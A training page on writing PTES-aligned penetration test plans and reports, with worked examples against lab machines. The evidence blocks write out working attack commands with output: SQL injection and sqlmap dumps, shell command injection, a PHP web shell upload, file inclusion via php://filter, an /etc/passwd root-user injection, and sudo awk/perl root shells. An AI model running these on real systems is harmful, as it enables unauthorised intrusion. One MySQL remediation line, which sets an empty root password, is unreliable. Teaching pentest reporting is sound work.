Professional Skills

Pentest Reporting Path

Learn to write client-ready PTES-aligned pentest plans and reports. Every module uses real DockerLabs machines with full worked examples — so you see exactly what good looks like.

4 Modules PTES Standard Full Worked Examples Hands-On Submissions

What You'll Learn

✅ Write a complete pre-engagement plan before touching a target
✅ Document findings with evidence, CVSS scores, and impact statements
✅ Write an executive summary a C-suite audience can act on
✅ Deliver prioritised, actionable remediation recommendations
✅ Get real feedback on your submissions from admins

PTES — The 7 Phases

1
Pre-Engagement

Scope, rules of engagement, authorisation, NDA, timing windows

2
Intelligence Gathering

OSINT, passive recon, service fingerprinting, banner grabbing

3
Threat Modeling

Asset identification, threat actors, attack vectors, business risk

4
Vulnerability Analysis

Identifying, validating, and prioritising vulnerabilities

5
Exploitation

Controlled compromise, initial access, privilege escalation

6
Post-Exploitation

Persistence goals, lateral movement, data objectives, cleanup

7
Reporting

Executive summary, findings, risk assessment, remediation plan

1

📋 Introduction to PTES

Understand the standard, the mindset, and why methodology separates a professional from a script kiddie. No machines — pure theory.

💡
Why does PTES exist?

Before PTES, every consultant did things differently. Clients couldn't compare assessments, and testers routinely skipped phases. PTES creates a common language so reports are comparable, repeatable, and legally defensible.

📋 Pentest Plan

  • Written before the engagement starts
  • Defines scope, targets, and limits
  • Describes your intended approach
  • Your legal authorisation to test
  • Reviewed and agreed before work begins

📄 Pentest Report

  • Written after the engagement ends
  • Documents what you actually found
  • Includes evidence: commands, screenshots, output
  • Prioritised risk per finding
  • Specific, actionable remediation
⚠️
Adapting PTES to CTF / DockerLabs

In real engagements, pre-engagement takes days. On DockerLabs you're the client and the tester. Still write the plan — it forces deliberate thinking before scanning. Treat scope as "the single target IP", RoE as "no DoS, no persistent backdoors", and authorisation as "this is a pre-authorised lab machine."

A+Every section complete, specific, evidence-backed. Reads like a real client deliverable.
AAll sections covered with meaningful content. Minor gaps in depth.
B+Most sections complete. Some vague sentences but overall solid.
BCore sections present but missing evidence, depth, or specific details.
CSuperficial. Filled the minimum to submit. No evidence or specifics.
DMost sections empty or a single sentence.
FNot a real attempt — placeholder text or nonsense.
2

🗺️ Writing Pentest Plans

Draft a professional pre-engagement plan before you fire a single packet. Full worked examples on dns-lab and http-lab.

1 Scope Definition
List every in-scope asset: IPs, ports, hostnames, and explicit exclusions. Vague scope = legal liability.
Bad: "The target server."
Good: "In-scope: 139.144.167.14 — ports 22/TCP, 53/TCP. Excluded: all other IPs, DoS, physical access."
2 Rules of Engagement
Define what you're allowed to do and when. Include timing, emergency contacts, and explicit prohibitions.
Good: "Prohibited: DoS, data destruction, persistent backdoors. Emergency: reset lab via portal if unresponsive. No additional authorisation required — pre-authorised lab machine."
3 Threat Modeling
Who would attack this? What do they want? This shapes your test priorities.
Good: "Primary threat: external opportunistic attacker. Goal: credential harvesting → lateral movement. Most likely vector: exposed service misconfiguration or information disclosure."
4 Information Gathering Strategy
List your planned recon techniques — with the exact tools and flags — before you run them.
Good: "1. nmap -sV -sC -p- TARGET   2. DNS: dig AXFR @TARGET   3. Enumerate all record types (A, TXT, MX)"
ℹ️
dns-lab: DNS server with zone transfers enabled. AXFR leaks SSH credentials from a TXT record. After login, world-writable /etc/passwd allows root via new user injection.
Scope Definition
In-scope:
  Host:  139.144.167.14 (dns-lab)
  Ports: 53/TCP (DNS), 22/TCP (SSH)
  OS:    Linux (unknown distribution)

Out-of-scope:
  - All other IP addresses and subnets
  - DoS or resource-exhaustion attacks
  - Modification of DNS zone records (read-only)
  - Persistence beyond the active test session
Rules of Engagement
Testing window:    Unrestricted (lab environment)
Authorisation:     DockerLabs pre-authorised lab — no sign-off required
Prohibited:        DoS, data destruction, firewall changes, persistent implants
Emergency stop:    Reset lab via portal if host becomes unresponsive
Credential policy: All discovered credentials recorded in this report only
Threat Modeling
Asset:        Internal DNS server (simulated production)
Threat actor: External unauthenticated attacker (no prior access)
Motivation:   Credential harvesting then lateral movement
Primary risk: DNS zone transfer exposing sensitive TXT records (AXFR misconfiguration)
Secondary:    Weak file permission on /etc/passwd allowing privilege escalation
Worst case:   Full root compromise via unauthenticated network access
Information Gathering Strategy
1. Port scan:    nmap -sV -sC -p- 139.144.167.14
2. DNS enum:
     dig @139.144.167.14 AXFR         (zone transfer)
     dig @139.144.167.14 TXT           (all TXT records)
     dnsenum --dnsserver 139.144.167.14 target.lab
3. Banner grab: nc -nv 139.144.167.14 22
4. Any credentials found in DNS records -> attempt SSH
Exploitation Strategy
Vector 1 (primary): DNS AXFR -> TXT record credential leak
  dig AXFR @TARGET | grep TXT
  Parse for usernames/passwords or base64-encoded credentials
  ssh discovered_user@TARGET

Vector 2 (post-login privesc):
  sudo -l                                         # check sudo rights
  find / -perm -4000 2>/dev/null                  # SUID binaries
  ls -la /etc/passwd                              # check write permissions
  If writable: echo "root2::0:0::/root:/bin/bash" >> /etc/passwd && su root2
Post-Exploitation Goals
Objectives:
  - Capture /home/*/user.txt (proof of initial access)
  - Escalate to root via passwd write or sudo/SUID misconfiguration
  - Capture /root/root.txt (proof of full compromise)

Constraints:
  - No persistence: no cron jobs, SSH keys, backdoors
  - No modification of existing files outside test objectives
  - Screenshot each flag as evidence
Reporting Plan
Deliverables:
  1. This pentest plan (pre-engagement document)
  2. Full pentest report (post-engagement, after flags captured)

Format:   PTES-aligned written report via DockerLabs portal
Audience: Technical (administrator level)
Severity: Critical / High / Medium / Low / Info (CVSS 3.1)
Per finding: title, CVSS vector, description, evidence, impact, remediation
ℹ️
http-lab: Apache web server with directory listing on /backup/ exposing a credentials file. SSH login leads to sudo awk → root shell.
Scope Definition
In-scope:
  Host:  139.144.167.19 (http-lab)
  Ports: 80/TCP (Apache HTTP), 22/TCP (SSH)

Out-of-scope:
  - All other IPs
  - Modification or deletion of web application files
  - DoS or brute-force attacks against SSH
Threat Modeling
Asset:        Apache web server (simulated internal tool)
Threat actor: Unauthenticated external attacker
Primary risk: Information disclosure via directory listing -> credential exposure
Secondary:    Credential reuse enabling SSH login
Tertiary:     Sudo misconfiguration leading to root shell
Worst case:   3-step unauthenticated -> root chain exploitable in <5 minutes
Information Gathering Strategy
1. nmap -sV -sC -p 22,80 139.144.167.19
2. HTTP enumeration:
     Browse http://139.144.167.19/ — note tech stack and application type
     gobuster dir -u http://139.144.167.19/ -w /usr/share/wordlists/dirb/common.txt
     Check: /robots.txt, /sitemap.xml, /.htaccess, /.git/
     Inspect response headers: Server, X-Powered-By, Set-Cookie
3. If directory listing found: enumerate all files, download and inspect
4. Check file extensions for credentials: .txt, .env, .conf, .bak, .sql
Exploitation Strategy
Vector 1: Directory listing information disclosure
  Access /backup/ if listable
  Download all exposed files and search for credentials
  Test credentials against SSH: ssh user@TARGET

Vector 2: Post-SSH privilege escalation
  sudo -l
  If awk listed: sudo awk 'BEGIN {system("/bin/sh")}'   (GTFOBins)
  Verify root: id && cat /root/root.txt
🏆
Pro tips for high-scoring plans
  • Be specific about tools and flags — not "scan it" but "nmap -sV -sC -p- TARGET"
  • Name the exact attack vectors ranked by likelihood, not just "check for vulns"
  • Include a contingency path for when the primary vector fails
  • Always include an explicit no-persistence clause in your Post-Exploitation section
  • Reference specific GTFOBins techniques if you plan to escalate privileges
3

🔍 Documenting Findings

Write precise, evidence-backed finding entries. Full worked examples on web-exploit-lab (Injectrix) and lfi-lab (Loophole).

TitleOne sentence. Vuln class + affected component. Example: "Unauthenticated SQL Injection in Login Form — /index.php"
SeverityCritical / High / Medium / Low / Info — derived from CVSS 3.1 score
CVSS VectorThe full vector string. Example: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description2–4 sentences: what it is, where it exists, why it exists
EvidenceExact command run + exact output received. Do NOT paraphrase — copy the actual data.
ImpactWhat can an attacker do? Be specific: "read all database tables containing customer PII"
RemediationSpecific, actionable fix. Not "fix the code" — "use PDO prepared statements instead of string concatenation"
Critical 9.0–10.0
High 7.0–8.9
Medium 4.0–6.9
Low 0.1–3.9
Info 0.0
ℹ️
Injectrix background: 3 independent but chainable vulnerabilities — SQL injection on the login form, OS command injection in the admin diagnostics panel, and unrestricted file upload. Chain all three for unauthenticated root.
Critical · 9.8 SQL Injection in Authentication Form — /index.php?action=login
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
DescriptionThe login form constructs its SQL query by direct string concatenation of user-supplied input without parameterisation or escaping. An unauthenticated attacker can bypass authentication entirely or dump the full users table, recovering SSH credentials.
Evidence
# Authentication bypass
POST /?action=login
username=admin'-- -&password=anything
Response: HTTP 302 redirect to /dashboard  (authenticated)

# Full user dump via sqlmap
sqlmap -u "http://TARGET/?action=login" \
  --data="username=admin&password=test" --dbms=mysql --dump -T users -D appdb
[OUTPUT] username=labuser, password=L4bUs3r!
ImpactComplete authentication bypass. Full database disclosure including SSH credentials enabling OS-level access as labuser.
RemediationReplace all string-concatenated queries with PDO prepared statements: $stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->execute([$u,$p]); — never interpolate user input into SQL.
Critical · 9.8 OS Command Injection in Diagnostics Panel — ?action=dashboard&tab=diag&host=
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
DescriptionThe diagnostics panel passes the host GET parameter directly to shell_exec() for a ping command without sanitisation. Arbitrary OS commands can be appended using shell metacharacters.
Evidence
curl "http://TARGET/?action=dashboard&tab=diag&host=127.0.0.1;id"
# Page output: uid=33(www-data) gid=33(www-data)

curl "http://TARGET/?action=dashboard&tab=diag&host=127.0.0.1;cat+/home/labuser/user.txt"
# Page output: flag{...}
RemediationNever pass user input to shell execution functions. Use PHP's native network functions for connectivity checks. If unavoidable, validate against a strict IP regex, then wrap with escapeshellarg().
High · 8.8 Unrestricted File Upload — MIME Type Validated by Content-Type Header Only
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
DescriptionThe upload handler validates only the browser-supplied Content-Type header, which an attacker fully controls. A PHP web shell disguised as image/jpeg is accepted and stored in the web root, enabling RCE.
Evidence
# shell.php: <?php system($_GET['cmd']); ?>
curl -F "file=@shell.php;type=image/jpeg" "http://TARGET/?action=upload&tab=upload"
# Response: {"success":true,"path":"/uploads/shell.php"}

curl "http://TARGET/uploads/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data)
RemediationValidate file type server-side using finfo_file() (magic bytes). Rename uploads to UUID with no extension. Store outside the web root. Serve via a download controller that never executes content.
ℹ️
Loophole background: PHP app includes files via unsanitised ?page= parameter. php://filter wrapper base64-encodes config.php source to reveal hardcoded SSH credentials. Privilege escalation via sudo.
Critical · 9.1 Local File Inclusion via Unsanitised ?page= Parameter + PHP Filter Wrapper Source Disclosure
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
DescriptionThe application passes the page GET parameter directly to PHP's include() without path sanitisation or allowlisting. Path traversal reads arbitrary local files. The php://filter wrapper base64-encodes PHP source before inclusion, bypassing execution to expose hardcoded credentials in config.php.
Evidence
# Step 1: confirm LFI
curl "http://TARGET/?page=../../../etc/passwd"
# Output includes: webdev:x:1000:1000:...

# Step 2: base64-encode PHP source via filter wrapper
curl "http://TARGET/?page=php://filter/convert.base64-encode/resource=config.php"
# Output: PD9waHAgZGVmaW5lKCdTVkNfVVNFUicsICd3ZWJkZXYnKTs...

# Step 3: decode
echo "PD9w..." | base64 -d
# define('SVC_PASS', 'L0c4lF1l3!');
# define('SVC_USER', 'webdev');

# Step 4: SSH login
ssh webdev@TARGET   # password: L0c4lF1l3!
webdev@lfi-lab:~$ cat user.txt
ImpactUnauthenticated attacker reads arbitrary system files. Hardcoded credentials in config.php directly enable SSH login as webdev, leading to full system compromise.
RemediationReplace dynamic include with a strict allowlist: $allowed=['home','about']; if(!in_array($page,$allowed)) die('Invalid');. Never pass user input to file inclusion functions. Set allow_url_include=Off in php.ini.
🏆
What separates an A+ findings section from a C
  • Include the exact command and exact output — not a paraphrase
  • State the business impact, not just the technical one — "exposes all customer PII" beats "reads the DB"
  • Give a CVSS vector string, not just "Critical"
  • Remediation must name the language/framework specific fix
  • If three vulns chain together, write each individually then add one "Attack Chain" finding at Critical
4

📄 Writing the Full Report

Produce a complete client-ready report. Full worked example on mysql-lab. Practice on mysql-lab and infection-root.

1 Executive Summary
Written for non-technical stakeholders. 1–2 paragraphs max. What was tested, what was found, what must be done. Zero jargon.
❌ "We ran nmap and found CVE-2021-XXXX in OpenSSH 7.4..."
✅ "An unauthenticated internet attacker can achieve full administrative control of this server in under two minutes. Immediate remediation is required."
3 Findings
Sort from most to least severe. Each follows the anatomy from Module 3. One root cause = one finding, even if it has multiple symptoms.
4 Risk Assessment
Score each finding by likelihood × impact. Produce a prioritised fix list — not just which is technically worst, but which to fix first given business context.
✅ "MySQL root / no password: Likelihood=Certain (exposed on 0.0.0.0), Impact=Critical. Fix immediately."
ℹ️
mysql-lab background: MySQL root has no password on 0.0.0.0:3306. A credentials table has SSH login details for labuser. sudo perl enables GTFOBins root escalation.
Executive Summary
A one-session security assessment of the MySQL server (139.144.165.14) identified
three critical vulnerabilities that chain together to allow any unauthenticated
attacker with network access to achieve full root-level control of the operating
system in under two minutes — using only freely available tools and no prior
knowledge of the system.

The most severe issue is MySQL root access with no password on a publicly
exposed port. This is a complete authentication failure that must be remediated
before this server handles any production data.
Scope & Methodology
Target:   139.144.165.14 (mysql-lab)
Ports:    3306/TCP (MySQL), 22/TCP (SSH)
Method:   Black-box external — no prior credentials or access
Tools:    nmap 7.94, mysql CLI, standard Linux shell utilities

Approach:
  1. Service enumeration (nmap -sV -sC)
  2. MySQL unauthenticated login attempt
  3. Database and table enumeration via SQL
  4. SSH credential reuse from database contents
  5. Post-SSH privilege escalation enumeration
Findings
FINDING 1 — MySQL Root Has No Password [Critical | CVSS 9.8]
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description:
  MySQL listens on 0.0.0.0:3306 with the root account requiring no password.
  Any unauthenticated client can connect with full database administrator rights.

Evidence:
  $ mysql -h 139.144.165.14 -u root
  Welcome to the MySQL monitor.
  mysql> SELECT user, host, authentication_string FROM mysql.user WHERE user='root';
  | root | % |  |   <- empty authentication_string = no password

Impact:
  Full read/write/delete access to all databases. MySQL FILE privilege allows
  reading arbitrary OS files. Complete data compromise and destruction possible.

Remediation:
  1. SET PASSWORD for 'root'@'%' = PASSWORD('');
  2. Bind MySQL to localhost: bind-address = 127.0.0.1 in mysqld.cnf
  3. Firewall: block port 3306 for all external source IPs
  4. Create application-specific least-privilege accounts

---

FINDING 2 — Plaintext SSH Credentials in Database Table [Critical | CVSS 9.0]
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description:
  The appdb.credentials table stores SSH usernames and passwords in plaintext.
  Combined with Finding 1, these directly enable OS-level access.

Evidence:
  mysql> SELECT * FROM appdb.credentials;
  | labuser | L4bUs3r! |

  $ ssh labuser@139.144.165.14   # password: L4bUs3r!
  $ cat user.txt  ->  flag{mysql_root_no_password}

Remediation:
  Never store credentials in plaintext. Use bcrypt/Argon2 for passwords.
  Replace all SSH password auth with key-based authentication.

---

FINDING 3 — Sudo Perl Enables Trivial Privilege Escalation [High | CVSS 7.8]
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description:
  labuser can run /usr/bin/perl as root without a password. Perl's exec()
  provides a direct root shell (GTFOBins).

Evidence:
  $ sudo -l  ->  (ALL) NOPASSWD: /usr/bin/perl
  $ sudo perl -e 'exec "/bin/bash"'
  # id  ->  uid=0(root)
  # cat /root/root.txt  ->  flag{root_via_sudo_perl}

Remediation:
  Remove perl from sudoers. Audit all NOPASSWD entries.
  Apply least-privilege: labuser requires no sudo rights at all.
Risk Assessment
Priority | Finding                         | Likelihood | Impact   | Action
---------|---------------------------------|------------|----------|-----------
1        | MySQL root — no password        | Certain    | Critical | Fix now
2        | Plaintext credentials in DB     | Certain    | Critical | Fix now
3        | sudo perl escalation            | Certain    | High     | Fix now

All three findings are independently exploitable and chain for full
root compromise in <2 minutes from an external unauthenticated position.
No compensating control reduces the priority of any item.
Remediation Recommendations
Immediate (before returning to production):
  1. Set MySQL root password + bind to 127.0.0.1 + firewall 3306
  2. Rotate all credentials in the credentials table
  3. Remove NOPASSWD sudo entry for perl

Short-term (within 1 sprint):
  4. Implement credential hashing (bcrypt/Argon2)
  5. Replace password-based SSH with key auth across all accounts
  6. Audit all sudo entries on this and related hosts

Long-term (within 1 quarter):
  7. Secrets management solution (HashiCorp Vault / AWS Secrets Manager)
  8. Network segmentation — DB server must never be internet-accessible
  9. Automated credential rotation policy
Conclusion
The mysql-lab server is critically compromised in its current state.
An unauthenticated internet attacker achieves root in under 2 minutes
using publicly available tools and zero specialised knowledge.

Root cause: a combination of missing authentication (MySQL), insecure
credential storage (plaintext), and overly permissive access controls
(unconstrained sudo). These are configuration failures, not complex
exploits — they should have been caught in basic pre-deployment review.

Recommended action: take offline, apply all remediations above, and
re-test before returning to production.
🏆
What makes a report A+ vs. B
  • Executive summary mentions business risk, not CVE numbers
  • Findings are sorted by severity, most dangerous first
  • The attack chain is explicitly described — not just isolated bugs
  • Remediation is prioritised in tiers: fix-now / sprint / quarter
  • Conclusion gives an overall security posture verdict
  • Every evidence block is reproducible by someone else following it exactly

📋

Ready to submit your first document?

Open any machine page and click Open Pentest Docs to write your plan before you start hacking.

Browse Machines